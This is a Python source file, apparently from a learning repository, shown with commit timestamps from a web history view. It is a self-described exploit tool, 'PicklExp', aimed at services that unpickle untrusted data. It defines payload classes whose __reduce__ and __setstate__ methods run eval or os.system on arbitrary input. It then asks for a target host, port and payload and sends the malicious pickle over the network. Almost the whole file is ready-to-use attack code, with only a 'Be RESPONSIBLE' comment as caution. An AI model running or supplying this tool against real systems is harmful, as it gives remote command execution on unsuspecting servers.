LearningPy/picklexp.py

98 lines
2.4 KiB
Python
Raw Normal View History

2022-12-10 12:54:21 +00:00
#BSD 3-Clause, (C) Alfred Manville 2022
#Be RESPONSIBLE when using this!
import networker as net
import pickle
import sys
2022-12-10 13:12:55 +00:00
#import traceback
2022-12-10 12:54:21 +00:00
#Payloads:
#State payloads only work if the Object is available at the target
2022-12-10 13:12:55 +00:00
class ExpBase:
2022-12-10 12:54:21 +00:00
def __init__(self, data):
self.data = data
2022-12-10 13:12:55 +00:00
class StateBase(ExpBase):
2022-12-10 12:54:21 +00:00
def __getstate__(self):
return self.data
2022-12-10 13:12:55 +00:00
class StatePXP(StateBase):
2022-12-10 12:54:21 +00:00
def __setstate__(self, state):
self.data = state
print(self.data)
2022-12-10 13:12:55 +00:00
class ReducePXP(ExpBase):
2022-12-10 12:54:21 +00:00
def __reduce__(self):
return print, (self.data,)
2022-12-10 13:12:55 +00:00
class StateEXP(StateBase):
2022-12-10 12:54:21 +00:00
def __setstate__(self, state):
self.data = state
eval(self.data)
2022-12-10 13:12:55 +00:00
class ReduceEXP(ExpBase):
2022-12-10 12:54:21 +00:00
def __reduce__(self):
return eval, (self.data,)
2022-12-10 13:12:55 +00:00
class ReduceSXP(ExpBase):
2022-12-10 12:54:21 +00:00
def __reduce__(self):
import os
return os.system, (self.data,)
2022-12-10 13:12:55 +00:00
def listAsTypes(lin):
toret = "["
for x in lin:
toret += str(type(x)) + ", "
toret = toret[:-2]
return toret + "]"
2022-12-10 12:54:21 +00:00
payloads = (StatePXP(""), ReducePXP(""), StateEXP(""), ReduceEXP(""), ReduceSXP(""))
payload = None
taddr = ""
tport = 0
plid = 0
pldata = ""
def onx(a):
pass
def ony(a, m):
pass
def main():
conn = net.Connection(None, net.PickleTranslate(), onx, ony, onx)
print("Running Exploit @ " + taddr + ":" + str(tport))
print("Exploit: " + str(type(payload)) + " ; Data: " + pldata)
try:
conn.connect((taddr, tport))
print("Exploiting...")
conn.send(taddr+":"+str(tport), payload)
print("Exploited!")
except:
2022-12-10 13:12:55 +00:00
#print(traceback.format_exc())
pass
2022-12-10 12:54:21 +00:00
conn.close()
exit
if __name__ == "__main__":
print("Python PicklExp (C) Alfred Manville 2022 BSD-3-Clause")
if len(sys.argv) > 1:
taddr = sys.argv[1]
else:
taddr = input("Enter the target address: ")
if len(sys.argv) > 2:
tport = int(sys.argv[2])
else:
tport = int(input("Enter the target port: "))
if len(sys.argv) > 3:
plid = int(sys.argv[3]) - 1
else:
2022-12-10 13:12:55 +00:00
plid = int(input("Enter the payload position " + listAsTypes(payloads) + " : ")) - 1
2022-12-10 12:54:21 +00:00
if len(sys.argv) > 4:
pldata = sys.argv[4]
else:
pldata = input("Enter the payload data: ")
payload = payloads[plid]
payload.data = pldata
main()